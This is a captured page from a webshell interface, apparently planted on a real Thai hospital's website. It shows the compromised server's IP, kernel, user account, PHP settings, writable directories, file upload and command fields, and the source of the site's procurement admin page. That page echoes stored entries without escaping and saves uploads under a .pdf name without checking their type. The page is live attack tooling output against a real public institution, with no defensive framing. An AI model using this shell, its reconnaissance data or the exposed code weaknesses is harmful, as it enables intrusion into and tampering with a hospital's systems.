403Webshell
Server IP : 104.21.73.108  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/public_html/procurement/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/public_html/procurement//admin.php
<?php
session_start();
if (!isset($_SESSION['admin_login'])) { header("Location: login.php"); exit; }
include 'config.php';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $title = $_POST['title']; $cat = $_POST['category']; $fname = "";
    if (isset($_FILES['pdf']) && $_FILES['pdf']['error'] == 0) {
        $fname = time().".pdf";
        move_uploaded_file($_FILES['pdf']['tmp_name'], "uploads/".$fname);
    }
    $stmt = $conn->prepare("INSERT INTO posts (title, category, file_path) VALUES (?, ?, ?)");
    $stmt->bind_param("sss", $title, $cat, $fname);
    $stmt->execute();
}
$list = $conn->query("SELECT * FROM posts ORDER BY id DESC");
?>
<!DOCTYPE html>
<html lang="th">
<head>
    <meta charset="UTF-8">
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body class="container py-4">
    <div class="d-flex justify-content-between">
        <h2>จัดการข้อมูล</h2>
        <a href="logout.php" class="btn btn-danger">Logout</a>
    </div>
    <form method="POST" enctype="multipart/form-data" class="card p-3 my-4">
        <div class="row g-2">
            <div class="col-md-5"><input type="text" name="title" class="form-control" placeholder="หัวข้อ" required></div>
            <div class="col-md-3">
                <select name="category" class="form-select">
                    <option value="procure">จัดซื้อจัดจ้าง</option>
                    <option value="job">รับสมัครงาน</option>
                </select>
            </div>
            <div class="col-md-3"><input type="file" name="pdf" class="form-control" accept=".pdf"></div>
            <div class="col-md-1"><button type="submit" class="btn btn-success w-100">เพิ่ม</button></div>
        </div>
    </form>
    <table class="table table-bordered">
        <thead><tr><th>หัวข้อ</th><th>ประเภท</th><th>จัดการ</th></tr></thead>
        <tbody>
            <?php while($row = $list->fetch_assoc()): ?>
            <tr>
                <td><?= $row['title'] ?></td>
                <td><?= $row['category'] ?></td>
                <td>
                    <a href="edit.php?id=<?= $row['id'] ?>" class="btn btn-sm btn-warning">แก้ไข</a>
                    <a href="delete.php?id=<?= $row['id'] ?>" class="btn btn-sm btn-danger" onclick="return confirm('ลบ?')">ลบ</a>
                </td>
            </tr>
            <?php endwhile; ?>
        </tbody>
    </table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit